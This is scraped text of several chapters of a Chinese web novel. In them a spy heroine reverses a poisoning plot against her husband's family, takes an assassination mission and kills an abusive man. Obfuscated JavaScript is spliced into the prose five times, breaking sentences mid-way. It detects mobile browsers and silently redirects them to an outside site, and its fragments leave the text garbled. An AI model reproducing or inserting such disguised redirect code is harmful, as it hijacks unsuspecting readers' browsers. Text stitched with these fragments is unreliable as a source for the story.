蔡宝珠继续给自己披上伪善温柔的假面皮，茶里茶气地道：“沉舟哥哥，珠珠妹妹做的那些事实在是太过分了，我代她向你陪个不是。” 顾沉舟被蔡宝珠的善良大度所感动：“同样是人，你怎么就这么温柔善良，而她怎么就那么恶毒呢？若是我娶的人是你就好了！” 蔡宝珠叹了一口气，道：“是我不好！ 谁让我不是蔡家的亲生女儿，她才是呢？ 珠珠妹妹一直恨我抢了她侍郎府千金的身份，所以才故意抢我的东西的。 我今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528850|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日戴的金簪和步摇，也被她拿走了。 不过我不怪她！ 她从小吃尽了苦头，想要些金银俗物我都是能理解的。 再加上如今她又跟蔡家断了亲，她心里肯定很难过。 只要她开心，她想要我的什么，我都可以送给她。 这是我欠她的。” 蔡宝珠头上的金簪和步摇不见了这事，顾沉舟早就注意到了，不过当时蔡家人在场，他不好过问，如今这才明白了前因后果，顿时，顾沉舟就更生气了。 "我就知道她死性不改！"顾沉舟从牙缝里挤出这句话，袖中的手攥得咯咯作响，"你呀，就是太善良了，都被她欺负得这么惨了，还在帮着她说话！" 蔡宝珠轻轻摇头，发丝拂过她光洁的额头："沉舟哥哥别生气。" 她忽然上前半步，身上淡淡的茉莉香萦绕在顾沉舟鼻尖。 "其实...珠珠妹妹也很可怜。她抢我的首饰，不过是想引起你的注意罢了..." 顾沉舟闻言更是心疼如绞。 眼前人分明自己受了委屈，却还在为那个毒妇开脱。 他情不自禁握住蔡宝珠微凉的柔荑："宝珠，你总是这样为他人着想。可曾想过自己？" 蔡宝珠像是被这句话触动心弦，终于有一滴泪挣脱眼眶，顺着脸颊滚落。 她慌忙低头掩饰，却让那滴泪正好砸在顾沉舟手背上，烫得他心头一颤。 “没事的。你快回去吧。你们如今毕竟是夫妻，是要在一起过一辈子的，你多担待些吧！马上就到二门了，我就不送了。沉舟哥哥慢走。” 顾沉舟沉重地点了点头，想到什么，道：“过来的时候你偷偷塞我手里的东西是……” 蔡宝珠：“那是我从一个游医那里得来的药，听说，喝了那药，可以让人的脾气变得不那么暴躁。 我也不知道真假。 我想着，珠珠妹妹脾气一向不好，我担心她朝你发火，所以就想着，给她喝点那药。 但她最讨厌我，我给她端的茶水点心她必定是不会碰的，所以我就想着，让你试试看。 沉舟哥哥，我没有别的心思，我就是希望你好好的。” 第128章 演技太烂 顾沉舟心里更难过了，为错过了这么好的姑娘而难过！ 蔡珠珠那个毒妇，哪哪儿都比不上他的宝珠！ 可是，她却仗着宝珠的善良，肆意地欺负宝珠！ 这种事情，他绝对不会再让它发生了！ “宝珠，你放心，我保证，以后，她再不能欺负你了。相信我。” 蔡宝珠闻言，眸中飞快闪过一抹奸计得逞的光芒，她垂下眼睫，遮挡住了：“好了，沉舟哥哥就别说这些了。 我没什么的。 毕竟，我以后大概不会再和她见面了。 倒是沉舟哥哥你…… 你日日与她相伴，我真是担心她欺负了你！ 哎。” 顾沉舟已有了决断，眸色坚定：“不用担心我。我们都会好起来的！” 如今的蔡珠珠已经和蔡家断亲了，她没有靠山了。 她脾气那么坏，心肠那么歹毒，是该为自己的行为付出代价了。 她将顾家害得那么惨，他绝不能放过她！ 若是她**，他是不是就可以娶宝珠了？ 而且，还能将十几万两的嫁妆都吞了！ 想到这里，顾沉舟觉得手里的药简直是便宜了那毒妇！ 于是，顾沉舟脚步一转，转到了一处药堂。 半盏茶的时间后，顾沉舟从药堂出来，手里多了几包药。 顾沉舟提着药，快步走回顾府。 他运气很好，那个毒妇还没回来，她的陪嫁丫鬟婆子们也不见了身影。 趁着这个机会，顾沉舟忙赶去柴房，将今日回门的事告诉了顾家人。 “断亲了？也就是说，不管她是死是活，蔡家人都不管，是吧？”顾老夫人道。 顾沉舟：“对！我算是看出来了，蔡家人对她一点感情都没有！我看他们巴不得她消失，如此，才不会给他们家丢人。” “她那样的毒妇，做的事就没有不丢人的！我要是她的父母，也不会愿意认她的！”顾大娘子道。 “既然蔡家人都不管她了，那咱们是不是可以……” 顾家众人交换了一个心照不宣的眼神，都点了点头。 “如此甚好。” “没人给她撑腰，咱们想怎么收拾她就怎么收拾她！” “把夫家人害成这样，这样的毒妇就不配活着！” “她抢走的那些财宝，也该物归原主了。” “可是，她武功很高，我们打不过她啊！” 顾沉舟自信地笑了笑，举起了手里的药包。 顾家人互相对视了一眼，这回，大家都露出了满意的笑容。 ======== 关失越回到顾家的时候，已是黄昏时分了。 由于她给自己的陪嫁们放了半天假，因此，院子里显得有些冷清。 然而此时，院子里有人。 同时，还有鸡汤的香味。 都闹成这样了，她不相信这鸡汤是顾家人炖给她喝的…… “回来了？还没吃饭吧？来，母亲给你炖了鸡汤，你喝一碗，暖暖身子。”顾沉舟脸上露出讨好的笑，看向关失越的眼神却躲闪不定。 关失越挑了挑眉。 无事献殷勤，非奸即盗。 况且，这人演技也太烂了！ 嘴里说的话，和身体表现出来的语言，截然相反！ 这里面没有猫腻，谁信？ “我知道，之前是我们家不对，我们不该逼着你上交嫁妆！”顾沉舟继续强装深情丈夫，可惜他演技实在低劣，他脸上在笑，可牙齿却死死咬着下唇，一看就是被逼无奈的表演！ 且，他眼神飘忽不定，但眼里的恨却是怎么也掩饰不住！！ “从古至今，嫁妆都是小娘子个人所有的，想怎么安排都该由女方自行决定，我们保证，以后再不会了！” “娘子，我原以为你很坏，可是今日回门我才知晓，你其实挺可怜的，从出生就被拐子抱走了，在乡里面吃尽了苦头，你心里有怨，是正常的。” “你放心，你既嫁给了我，我便是你后半辈子的依靠。我一定会好好待你的。” “你亲生父母那般待你，我这个做夫君的看着都心疼。” “回来后，我将你的事情告诉家里人了，家里人都觉得，以前错怪了你，以后我们都不会了！” “母亲还特意为你杀了一只母鸡，给你熬了鸡汤。” “来，喝吧！” 关失越端起了鸡汤， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528851|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿时，一股浓郁的鸡汤味，外加一些乱七八糟的药味混合在一处。 那些味道，普通人自是闻不出什么的，可关失越不是普通人。 她是千里及特工。 且，进行了第二轮培训的高级特工。 一个合格的特工，对各种药材不能说全懂，但**，绝对是百分之九十九点九懂。 这碗鸡汤里，下了至少三种**，且，还是剧毒！！ 顾家人的下毒手法，着实拙劣。 当然，即便他们手法高超，关失越也不会喝这碗汤的。 毕竟，顾家人之前是怎么对她的，现在又是怎么对她的，但凡长了脑子的人都能想明白他们想做什么。 事出反常必有妖。 关失越不由在心里问自己，难道自己演技太好了，让顾家人以为自己是个心无城府的莽夫吗？ 不然，他们怎么会觉得，这样拙劣的演技，就能骗到她？！ 啧啧啧。 关失越默不作声地放下了碗。 同时，她没有错过顾沉舟眼里那一闪而逝的失望和懊恼。 “怎么不喝？这可是母亲特意为你熬的！”顾沉舟语气里带上了一丝急切和愤怒。 关失越叹了口气。 顾沉舟立马化身关心妻子的好丈夫，道：“怎么了？” 瞧，他还真演上了？ 行，他想演，她便陪着演！ 关失越突然以手掩面，哭了：“从来没有人对我这么好过，呜呜呜。” 顾沉舟很是不耐，但为了让关失越喝下这碗汤，他强忍着恶心，关切道：“好了，别哭了。 咱们是夫妻，以后我一定会对你好的！ 过去的事就让它过去吧，咱们以后好好的。 乖，你今日都没在蔡家吃饭，肯定饿了，喝汤吧。” 关失越摇了摇头：“你们对我这么好，我却……现在想来，我后悔极了！我不该那样对你们！我有罪。” 顾沉舟：“没事，都过去了。咱们是一家人，一家人不记仇。” 关失越仍然摇头：“你们能过去，可在我这里，过不去。我不配你们对我好，我更不配喝这汤。我们和离吧。” 顾沉舟：“……” 第129章 作死界第一名 经过刚刚的一番磨蹭，此时的鸡汤已经凉了！！！ 且，鸡汤上面还结了厚厚一层油！！！ 顾沉舟几乎要咬牙切齿了。 关失越“因为得了丈夫欢心”很高兴，她宝贝地将鸡汤护在怀里，大步往厨房走去：“没事，端去热一热就好了。” 她走得太快，顾沉舟没有跟上。 关失越很快就到了厨房。 灶膛里还有些火星，锅里还有半锅鸡肉鸡汤，还是热的，关失越闻了一下，没有下毒。 果然被她猜中了！ 顾家人的抠门的出了名的，他们怎么可能用一整只鸡来给她下毒？ 那也太浪费了！ 这不，锅里的这些就是没有问题的！！ 啧啧啧，可真抠门啊！ 关失越用手指沾了锅里一点汤汁，抹在了自己唇边。 然后，又将先前那碗加了料的鸡汤倒入了锅里，和剩下的没有下毒的鸡肉鸡汤混合在了一起，并用锅铲搅拌均匀了。 顾沉舟进来的时候，看到的就是空了的碗和关失越唇边的汤渍，一颗心终于放回了肚子里。 关失越惭愧地擦了擦嘴角：“这鸡汤味道真好！这么好的鸡汤，我一个人喝也太浪费了，还是大家一起喝吧。” 顾沉舟以为她已经喝下了有毒的，大喜，面上却强装出一副勉强的样子：“也好。这么多呢，你一个人肯定吃不完。那就晚上大家一起吃吧。” 于是，当天晚上，顾老夫人便将鸡肉鸡汤分给了自己的子孙们。 虽然已经是官宦人家了，但顾家还是保留着农人的习俗。 一家子的吃食由顾老夫人统一分配。 顾老夫人跟以前一样，首先给自己的几个儿子分，将鸡身上最好吃的部位留给了几个儿子。 给儿子分完了，便是孙子了，再然后是女儿、儿媳们。 分到最后，连汤都没有了。 于是，顾老夫人的一个孙女和一个孙媳碗里空空的，连一滴鸡汤都没有分到。 没分到鸡汤的两人也不敢闹，悲伤地吃完了晚饭。 为此，站在厅堂外黑暗里的关失越表示：论作死，顾老夫人敢排第二，绝对没人敢排第一。 剧毒就是剧毒，发作起来相当可怖。 关失越躺在新房的床上，都能听到厅堂里传来的哭喊声和乒乒乓乓的撞击声。 相当地…… 撕心裂肺。 关失越继续躺着。 “砰”！ 一声巨响，关失越的房门被人踹倒了。 顾沉舟和一个女人晃晃悠悠地闯了进来。 那女人看起来二十来岁模样，赫然是顾老夫人的长房嫡长孙女。 “你看，你看她……我就说她……没事吧。” 顾大娘说出这话后，嘴边的血流了出来，滴到了她粉色的衣服上，然而，此时的她已然站不住了，身子一歪，倒在了地上。 顾沉舟撞开门后就没了力气，但他还强撑着身子走到了床边。 果然如顾大娘所言，关失越一点事儿都没有！ 顾沉舟吐出了一口血。 “你……你……” 关失越慢悠悠坐起来，笑了笑：“哟，你这是怎么了？下午还好好的，怎么才一会儿就变这样了？” 顾沉舟又吐了一口血，伸手怨恨地指着关失越：“是你……对不对？你知道那汤……对不对？” 关失越：“那汤怎么了？” “你还在装？！！你肯定……”顾沉舟身子晃了晃，咚地一声倒下，眼睛死死地看着关失越的方向，眼里充满了怨毒之色，“毒肯定是你下的！！你个毒……妇……” 关失越开始一件一件穿衣服，直到穿上了一整套夜行衣，这才下床。 她走到顾沉舟身边，顾沉舟还没咽气，但整个身体都在抽搐，看来是离死不远了。 关失越从床头上拿出今天白天从蔡宝珠那里抢来的步摇，递到顾沉舟跟前。 “你宝珠妹妹的东西，还给你了。以后，就别再说我抢她的东西了。” 听闻是蔡宝珠的步摇，顾沉舟用尽了最后一口气，将步摇攥在了手里。 “其实，宝珠的心愿就是嫁给你，只可惜，爹娘觉得你顾家家风不行，所以，才让我替嫁的。哎，好好的一对儿，就这么被拆散了。”关失越道。 顾沉舟已经咽了气，但在关失越这话说完后，她发现他将手里的东西攥得更紧了。 关失越在电视上看到过，说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528852|170787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在死后的几分钟里是还有部分意识的，如今看到这情况，她信了。 解决了顾沉舟，关失越朝着还没有死透的顾大娘子而去。 顾大娘子身体抽搐，衣服上沾了不少血渍，但胸口还在微微起伏。 关失越蹲在她身边，手指托起她的下巴，抬起她的脸打量了一番。 “你……你……毒妇！”顾大娘用了最后一口气骂道，说完，整个人就咽了气。 关失越：“我毒？下毒的人难道不是你们自己吗？你们自己毒**你们自己，结果还将罪责推到别人身上。啧啧啧！你们还真是死有余辜啊！” 顾大娘没了动静。 趁着她的身体还没僵硬，关失越迅速地剥下了她的外衣和裙子，然后，换上了“蔡丫丫”的衣服。 之后，关失越取下脸上的**，仔仔细细地贴在了顾大娘的脸上。 做完这一切，关失越将顾大娘扛起来，放到床沿上，又扒光了她头上的首饰钗环，做出她是睡梦**发身亡的假象。 之后，关失越将顾大娘换下来的衣服拿上，身子灵活如同一只黑色的飞燕，快速地融入夜色，并悄无声息地离开了顾府。 从顾府后门翻墙离开后，关失越为防有人监视，特意在京都胡乱绕了一圈，待确定无人跟踪，这才悄无声息地回了陆宅。 终于回到安全的地方，关失越顿觉轻松，头一挨着枕头就睡了过去。 第二日天不亮，关失越便起床练武。 练完武后，关失越洗了个澡，重新收拾一番，带上礼品，去拜访各个教**。 休息了四日，也该上课了。 就在关失越这边继续上培训课的时候，大理寺接到了一起重大命案。 顾侍郎一家，于昨晚集体**，除了两个年轻的女郎之外，其余人皆**身亡。 顾家原本就在**的风口浪尖上，此时又发生了这样骇人听闻的毒杀，顿时将方圆十公里的人们都惊动了。 尤其是顾侍郎周围的邻居们，惊得滔滔不绝： “天啊！都**？！奇怪了，昨晚没听到什么动静啊？！” “我好像隐隐约约是听到了什么声音，但我以为是老鼠，哪里能想到，竟……啧啧啧！可怕！！” 第130章 蔡宝珠被抓 “什么？食物**？那为什么还有两个人没事？” “昨日顾沉舟和新妇回门，顾沉舟一个人回来的，他回来的时候，手里好似提着药！” “是啊，他提了药！还有，他喜欢的一直是新妇的姐姐。可怜的新妇，才嫁过来两日就……” “顾沉舟该不会是想毒死新妇，然而阴差阳错，把自己一家也毒**吧？” …… 人们叽叽喳喳，大理寺官差走向其中议论的两人，问道：“你说昨日下午看到顾沉舟手里提了药？” 那两人：“是！我看到了！还几包！！不信，你可以问问大家！” 官差又询问了几个人，得到的回答竟是一样的，于是，官差顺藤摸瓜，找到了顾沉舟抓药的药堂…… ========== 顾侍郎一家**的案子进展得很快，不过一日，就顺着顾沉舟手里的步摇查到了蔡宝珠头上。 又从顾沉舟的**残渣，查出其中一包毒粉是蔡宝珠让自己的丫鬟出面买来的。 第二日下午，蔡宝珠被抓去了大理寺监狱问话。 一个时辰后，蔡夫人、蔡老夫人也被“请”去了大理寺…… 就在蔡侍郎一家都深陷大理寺的时候，关失越收到了陆之涯的飞鸽传书。 上面只写了两个字：速归。 关失越知道，她的第二轮培训，至此结束了。 关失越快速处理了陆宅的事，将大多数银票存入钱庄，只留了一万两带在身上，衣服只简单地收拾了一些，便收到了第二封飞鸽传书。 还是让她赶快回去。 关失越不敢耽搁，提着收拾了一半的衣物就走。 谢七娘寸步不离地跟在她身后。 关失越：“你留下吧！” 谢七娘摇了摇头：“我得罪了谢婉婉和安王，现在你又走了，我留在这里，哪里还有活路？我要和你一起走！” 关失越自是知道谢七娘留在京都不好，但是，比起赤霞府，京都又实在是好太多了。 京都，再怎么说，是谢七娘出生的地方。 可赤霞府，是她的耻辱和噩梦。 她想着，谢七娘这一辈子是无论如何也不会想回赤霞府那个让她险些死去的地方的。 “七娘，你可知我现在要去的地方是哪里？”关失越道。 谢七娘：“我知道。赤霞府。” 关失越：“知道你还要去？你就……” “我不怕。只要是跟着你，我就不怕。”谢七娘道，“因为我知道，你会保护我的。 而且我现在已经今非昔比了，我每天都有认真练武，我现在的功夫虽说不上有多好，但是打败几个普通成年男人是绝对没有问题的。 我不会成为你的累赘的。 真的！ 关键的时候说不定我还能保护你呢！” 关失越：“我是回去做任务的。我有帮手的。” “没关系的。你的帮手是你的千里及同僚，在正常的情况下，他们可能会帮你，但是，若是遇到危险，他们说不得会先出卖你。可我就不一样了。我是你的人，我永不会背叛你。”谢七娘恳求地拉住了关失越的手，“带上我，求你了。” 关失越将她的手指一根根掰开：“不行。你要是有个什么，到时谁帮我赚银子？你可是我的钱袋子！可不能有一丁点闪失。” 谢七娘：“我跟着你，同样可以给你赚银子。主子，你当初选我，不就是看重我的忠心吗？如今，正是我尽忠的时候。你怎么反而要弃了我？” 关失越：“……” 谢七娘：“当初我们说好了，你在哪里，我便在哪里。现在，你要反悔吗？当初若不是你，我怕是早就**。后面我活的每一日，都是你赐给我的。我唯一的愿望就是跟你一起。” 关失越叹了一口气：“既然如此，那就一起走吧！” ========= 官道上，两匹马跑得精疲力尽，双双嘶鸣一声，跪倒在地。 马上的两个年轻女子反应迅速地跳下马，身子顺着力道往前滚了几圈，这才稳住了身形。 关失越怕起来，揉了揉被磨得生疼的腿，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关失越白了她一眼：“当然了！他以为有吃的，自然就不哭了。” 谢七娘叹了一口气：“哎！真可怜！可惜没有奶。” 确实。 这里是荒郊野外，没有人家，没有哺乳的牛羊，根本就没有奶水给他吃。 这孩子，怕是不冻死也得饿死。 按理，她是不应该将他捡起来的。 可是，任凭他躺在这里自生自灭，或是被野兽吃了，或是又冷又饿凄惨死去，她做不到。 即便是死，也希望他能少受些痛苦。 想到这里，关失越将手指从婴儿口中抽出来，将孩子递给了谢七娘，她取出腰间**，在食指上划出了一条细小的口子。 “给我。”关失越将孩子抱了过来，将流血的手指放进了孩子的嘴里。 孩子感觉到有吃的，立马含住手指，用力地吮吸。 此时，世界安静极了。 两个女子，两匹马，一个襁褓中的婴儿，构成了一副岁月静好的美好画卷。 ========= 当天夜里，关失越赶到了忘川县。 先是给谢七娘找了间客栈，关失越便马不停蹄地赶往了千里及总部。 很快就见到了陆之涯。 陆之涯将关失越上上下下打量了一番，心道这人到底是怎么长的，不过几个月不见，竟又长高了，身段也更窈窕了。 “这次让你回来，是因为有一个重要任务要给你。”陆之涯的目光最终落到了关失越那白到发光的脸上，“京都气候好，你肌肤更胜从前。” 关失越眸子眯了眯。 “听闻这几个月你表现很好，各方面的能力都有了极大的提升。恭喜。” 关失越忙道：“还要多谢大人栽培！属下愧不敢当！” 陆之涯看了关失越一眼，神色复杂：“你很不错。 你加入的时间并不长，却是我千里及最优秀的细作。 可能是你太出色了，圣上也注意到了你。 这次的任务是圣上指名道姓要你去做的。 我相信，以你的能力，定能完成！” 听他说得这般慎重，关失越心知肯定不是什么好活儿，面上还是露出不骄不躁的神色来：“属下但凭大人吩咐！” 陆之涯点了点头：“这次的任务说复杂也复杂，说简单吧，其实也挺简单的，就是刺杀。考虑到你的武功，到时我们会让楚教**来协助你。你们刺杀的对象是：元擎苍。” 元擎苍？！！ 嘶，该不会是她想的那个人吧？ “就是他。”陆之涯肯定地颔首，“轩辕当今皇帝，元擎苍。” 完了！ 还真是他！！ 那可是一国皇帝啊！！！ 这不就相当于她这回要做荆轲吗？ 荆轲刺秦，有去无回！！ 和荆轲一起刺杀秦王的几个刺客同样死无全尸。 他们是**的来着？ 好似是……被砍成肉泥了吧？ 关失越想晕过去。 看着她惨白至极的脸，陆之涯道：“我知道这个任务很难，但是，其实也并非没有胜算的。你放心，除了楚教**，我们千里及在盛都潜伏的所有细作都会从旁协助你的！” 说到这里，陆之涯从木匣子里取出一块令牌，递给了关失越。 “这令牌，能调动千里及在盛都的所有人马。现在，本座交给你了。要不惜任何代价杀了元擎苍。” ========= 关失越第一千次升起了逃跑的念头。 她一直都对自己很有自信。 可是，她更知道，这件事情，她办不到！ 她的武功不行，对付普通人她很行，可是让她去对付轩辕皇室的暗卫、御林军，她就只能送人头了！！ 刺杀君王这种事情，历史上几乎没有成功的！ 即便侥幸成功了，刺客也断没有能全须全尾活着回来的！ 这是死局！ 她怎么就这么倒霉，接到了这个任务？ 还是圣上亲自交代的！ 莫不是因为她得罪了安王，安王在圣上那里进了谗言，她这才得到了这个必死的任务？ 现在怎么办？ 逃吗？ 那是不可能的！ 普天之下莫非王土。 跑得了和尚跑不了庙。 虽然她早已经被关家“除族”了，但是，她不认为她若是逃了，那些人不会找关家人的麻烦！ 诛九族了解一下！ 罢了，死就死吧！ 人生自古谁无死，早死晚死都得死。 死之前，她要好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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关失越很不喜欢眼前的男人，但她面上看不出来分毫，她甚至还朝着男人温柔地笑了笑：“这位郎君，请问这里是胡娘子家吗？” 第132章 你要干什么？ 闻言，矮小男人再次上上下下打量了一番关失越，目光越发猥琐油腻。 “是。你是谁？你找我娘子做什么？” 那女人真没用，他辛苦耕耘一年，结果她给他生了个赔钱货！ 赔钱货养着有什么用，只会浪费粮食！ 于是，他将赔钱货抱走，扔到了树林里。 结果那唇女人发了疯一样非要跑去树林找，自然是没找到的。 小赔钱货尸骨无存，怕是早就被狼叼走了！ 为此，大赔钱货就跟死了爹一样，寻死觅活！ 好在他打探到有大户人家添了丁，想找个乳娘，于是，立马拉着大赔钱货去了。 可惜大赔钱货冷着一张死人脸，人家大户人家没看上，给送回来了。 为此，男人恨得牙痒痒，痛打了女人一顿。 “你该不会是想找我娘子做乳娘吧？”男人瞧着眼前的女子高挑白皙，一看就是大户人家的女眷，于是试探着问道。 时间很紧，从昨晚到现在，阿树都还饿着肚子呢，但那孩子异常懂事，愣是没有哭闹。 因此，关失越微微颔首：“是。我确实需要一个乳娘，请问你娘子在家吗？” 矮小男人脸上立马有了笑，态度也谄媚了不少：“在！在家的！不是我吹，我那女人长得高大，奶水充足，她人爱干净，身子康建，选她做乳娘，你绝对不会亏！” 关失越：“她人呢？我能先看看人吗？” “可以！自然是可以的！！”矮小男人脸上笑开了花，一边请关失越进门，一边对着里面喊，“捡女子，有贵人来找你了，还不赶快出来迎接？” 他喊了半天，屋子里也没有动静，关失越已然走进了屋，打量着整个院子。 院子很小，且，很破败。 垃圾横七竖八堆了满院，蜘蛛网、灰尘、烂菜叶子随处可见，整个院子有一种奇怪的味道。 不用看，这一家子是又穷又懒的货！ 关失越有些后悔了。 她觉着这回应当是白跑了。 这时，听得屋里传出了重物落地的声音，随即，矮小男人扶着一个高挑的女子走了出来。 女人身上穿着一件不知道穿了多久的青衣，面色苍白，身形高挑，比男人整整高出了小半个头。此刻，女人被男人搀扶着，不情不愿地看着关失越。 关失越也很失望，但她忍住了，目光特意在胡娘子的胸前停留了一阵，以她过来人的眼光，她不得不承认，这胡娘子的奶水确实充足。 关失越的脚便移不动了。 “胡娘子。在下姓谢，家中添了一幼童，需请个乳娘。不知胡娘子是否有意？价格好说。”关失越欠了欠身，目光在夫妻二人身上打量了一圈，补充道，“娘子若是还有别的条件，也可提。咱们可以商量的。” 胡娘子那双空洞的眼睛里原本死寂一般平静，在听到最后一句话时，她眼珠子转了一下，看了过来：“当真？我若是有别的条件，你也答应？” 关失越点了点头：“你先说说看。” 胡娘子将搀扶着自己的男人推开，上前两步，眼睛直勾勾地盯着关失越：“我才生了孩子，奶水充足，我这人向来爱干净，身体也康健，没有任何疾病，这些，小娘子可以完全放心。银钱我可以不要，我就一个要求，便是……” 说到这里，胡娘子停顿了片刻，嘴唇嗫嚅了几下，咬牙道：“我男人不是个东西，他趁我生下孩子昏迷之际，将我的女儿抱走扔了。 如此黑心烂肺的东西，简直畜生不如！ 如若谢小娘子能帮我与这个畜生和离，我胡捡女愿免费给您做一年…… 不，两三年都行，只要谢小娘子需要我做多少年的乳娘，我便做多少年的乳娘！ 我不要银钱，只需有口吃的，有个地方住着就行了。” 关失越看向了那矮小男人。 矮小男人因着这变故气疯了，他不容分说上前，狠狠朝胡娘子踹去：“好你个忘恩负义的贱……啊！！！” 他踹出去的腿没有踹到胡娘子，他的整个身子受到撞击，朝后飞了起来，飞出了三米远，身子重重地撞到了墙壁，咚地一声落下。 巨大的疼痛让他发出了一声杀猪般的嚎叫。 关失越收回腿，站在胡娘子身侧，冷着一张脸看着摔得不轻的矮小男人：“她现在是我的人了！” 男人还从没见过比自己更无耻的人，又惊又怒，又怕又气：“她是我的女人！！！” 关失越：“很快就不是了。像你这样将自己的亲骨肉都舍得扔掉的畜生，不配有妻子儿女！” “那她也是我明媒正娶的女人！想一个铜板不给从我这里带走她，你做梦！！我当初娶她，可是花了整整五两银子的聘礼！！！” 胡娘子气极：“可我嫁给你后没几日，那五两银子就被你拿走去赌坊输掉了！你还好意思说？！！” 矮小男人：“那你也是我的人！！！你这一辈子休想摆脱我！！！” 胡娘子气得浑身颤抖。 关失越侧头看着胡娘子：“他家里还有没有人？” 胡娘子不明白关失越的意思，却也老实回答：“没有人了。爹娘被他气死，小姑被他卖到了……那肮脏之地，年初的时候也死了。他就是个猪狗不如的畜生！” 关失越：“你想让他死吗？” 胡娘子：“……” 关失越：“我这边的事很急，我得马上离开，我没有那么多时间给你们弄和离的事。如若他死了，就不必那么麻烦了，且，你到时回来，还有个落脚的地儿。” 胡娘子眼里飞快闪过一抹喜色，但想到大夏律法，她眼里的光顿时消失了：“我自然是想让他死，可……” “胡捡女，我是你丈夫！你竟然想让我死？！！你这个毒妇、恶妇！！你信不信我现在就把你卖到窑子里去？！我要让你被千人骑万人踏，让你活活被糟蹋死！” 矮小男人气得破口大骂。 骂完了胡娘子，男人又看向了关失越：“还有你，你个骚蹄子小烂货%@#……你算个什么东西？ 你也敢…… 你，你要干什么？ 我告诉你，你一个女人，难不成还能杀了我？ 呵呵，别做梦了！ 你别过来！ 我告诉你，杀人可是要偿命的！ 你便是再有什么能耐，也……” 男人喉咙处扎着一只袖箭，气绝身亡。 一张惨白的脸上满是不信、震惊、愕然之色。 第133章 会好起来的 因为距离近，且袖箭发射很快，一剑封喉，甚至连血都没有溅出多少。 关失越衣裙上更是干干净净，没有溅到一丁点血渍。 她将袖子放下，挡住了她手臂处的小型弓弩。 这东西，还是楚翊尘在京都的时候为她量身打造的，这回她的第一次用，别说，确实小巧不重，还好用！ “你嘴太脏了。”关失越对上男人那双死不瞑目的眼睛，道。 胡娘子看着眼前这一幕，腿脚发颤，一双眼睛却是亮得惊人：“这……我们快跑吧！免得被官府发现！！” 关失越道：“不怕，我马车就在不远处，很快就能离开忘川县。你还有没有什么东西要带的？” 胡娘子忙摇头：“没有！我们现在就走吧！！” 不到半柱香的时间，关失越带着胡娘子上了马车。 两人刚上车，马车就快速出城，离开忘川县。 马车上，谢七娘见关失越终于到了，大喜：“主子！” 关失越抬手摸了摸她的头发：“嗯。我给阿树找到了乳娘。就是她。介绍一下，她是胡娘子。胡娘子，这位是谢七娘。” 胡娘子给谢七娘见了礼。 谢七娘抓住了胡娘子的手，很高兴：“不必多礼。 胡娘子，这就是阿树，他饿了许久了，麻烦你了。 这孩子是个可怜的，被人扔在了野外大树下，我们刚好路过，听到哭声，这才将他抱了回来。 若不是遇到我们，他说不得就…… 哎，也不知晓是谁那么心狠，竟将好好的孩子扔了！ 我们捡到他的时候他全身上下没有一块布，也不知道被冻了多久，还能不能活。” 胡娘子眼眶一热，温柔地抱过了阿树，道：“他能遇到两位好心的小娘子，是他几辈子修来的福气。” 只可惜了她的女儿…… 一个雪白的馒头递了过来，同时，她听到了那个武功高强的谢小娘子轻言细语的安慰声。 “吃点东西，不然没奶水了。伤心的事就别想了，我听人说乳娘若是情绪起伏太大，容易没奶水。过去的就过去了，往后一定会好起来的。” 胡娘子立马将眼泪逼了回去，她点了点头：“嗯。会好的。” 说罢，转过身，掀起了衣服，给阿树喂奶。 ========== 马车一路急驶，很快就进入了流沙县境内。 如今的流沙县，归大夏军队管。 “辛苦了，今日在客栈咱们好好休息一下，顺便吃点好的。明日上午休息半日，下午再赶路。”关失越对谢七娘道。 谢七娘：“好，我去吩咐掌柜的做菜。” 